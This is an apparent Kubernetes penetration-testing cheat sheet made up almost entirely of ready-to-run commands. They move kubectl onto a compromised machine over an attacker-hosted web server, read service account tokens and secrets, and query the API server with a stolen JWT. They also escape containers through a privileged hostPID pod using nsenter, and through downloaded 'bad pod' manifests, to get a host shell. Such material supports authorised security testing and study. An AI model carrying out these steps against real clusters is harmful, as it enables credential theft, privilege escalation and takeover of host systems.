Kubernetes Pentesting

Last modified: 2023-01-30


A portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. Default ports are 6443, 8443.

Check if the Kubectl Command Available in Target Machine

kubectl -h
k0s -h
k0s kubectl -h
microk8s kubectl -h

If we cannot find kubectl, upload the binary from local machine.
First off, install the kubectl in local machine.

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python3 -m http.server

Then download the binary file into remote machine.

wget http://<local-ip>:8000/kubectl -O /tmp/kubectl
chmod +x /tmp/kubectl

Investigation From Inside

# Get JWT
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# if we find the token, decode it in https://jwt.io/

# Sensitive information in the directory
ls -a /var/lib/k0s/containerd/

# Check your permission
kubectl auth can-i --list
# /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=<JWT>

# All information
kubectl get all

# Pods
kubectl get pods
# -A: List all pods across all namespaces
kubectl get pods -A
# Get the detail information abou the pod
# -o: Output format
kubectl get pod <pod-name> -o yaml
# Specify the namespace
kubectl get pod <pod-name> -n <namespace> -o yaml

# Jobs
kubectl get job -n <namespace>
# -o: Output details
kubectl get job -n <namespace> -o json

# Secrets
kubectl get secrets
kubectl get secrets -n <namespace>
# Get the specific secret
kubectl get secret <secret-name> -o json
kubectl get secret <secret-name> -n <namespace> -o json
# Edit the secret
kubectl edit secret <secret-name>
kubectl edit secret <secret-name> -n <namespace>
# List all data contained in the specific secret
kubectl describe secret <secret-name>
kubectl describe secret <secret-name> -n <namespace>

# Create a ServiceAccount
kubectl create serviceaccount api-explorer
# Bind the ClusterRole to the ServiceAccount
# eg. namespace: default
kubectl create rolebinding api-explorer:log-reader --clusterrole log-reader --serviceaccount default:api-explorer 

Investigation via Kubernetes API Server

If we get the JWT, we can fetch information by the following commans.

# -k: insecure (HTTPS)
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/pods/
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/secrets/

Privilege Escalation (Escape) using the Container Image

1. Get Information About the Target Pod

kubectl get pods
kubectl get pod <target-pod> -o yaml

kubectl describe pod <target-pod>

In the output, check the image name in the containers image.

2. Create a Pod Yaml File

Create "pod.yaml".
Replace the containers image value (<image_name>) with the one we found in the previous section.

  hostPID: true
    - name: '1'
      image: <image_name>
        - nsenter
        - '--mount=/proc/1/ns/mnt'
        - '--'
        - /bin/bash
  stdin: true
  tty: true
    privileged: true

After that, convert the YAML to JSON using online tools such as the Online Converter.
In the tool, check the “Minimize JSON” to make the json to the one line.

3. Run the New Container to Privilege Escalation

Replace with <image_name> with the one we found in the previous section.

kubectl run testbox --restart Never -it --rm --image newimage --overrides '{"spec":{"hostPID":true,"containers":[{"name":"1","image":"<image_name>","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":true,"tty":true,"securityContext":{"privileged":true}}]}}'

Now we should escape the container and get a target shell.

Privilege Escalation using Bad Pods

Reference: everything-allowed-exec-pod.yaml

1. Download the Bad Pod

At first, you need to download the bad pod on your local machine.

wget https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml -O privesc.yaml

After downloading the yaml file, we need to replace the value of metadata.containers.image with the existing container image that we can find in the target container.
Then start web server to allow the target machine to get this bad pod.

python3 -m http.server 8000

2. Trasfer the Bad Pod to the Target Machine

On the target machine, download the bad pod from your local machine.

wget http://<your-local-ip>:8000/privesc.yaml

3. Create the Pod

# Create the pod
kubectl apply -f privesc.yaml --token=<JWT>

# List all pods
kubectl get pods --token=<JWT>

4. Get a Shell**

kubectl exec -it everything-allowed-exec-pod --token=<JWT> -- /bin/bash

We should get a shell and can investigate the mounted folder.

cd /host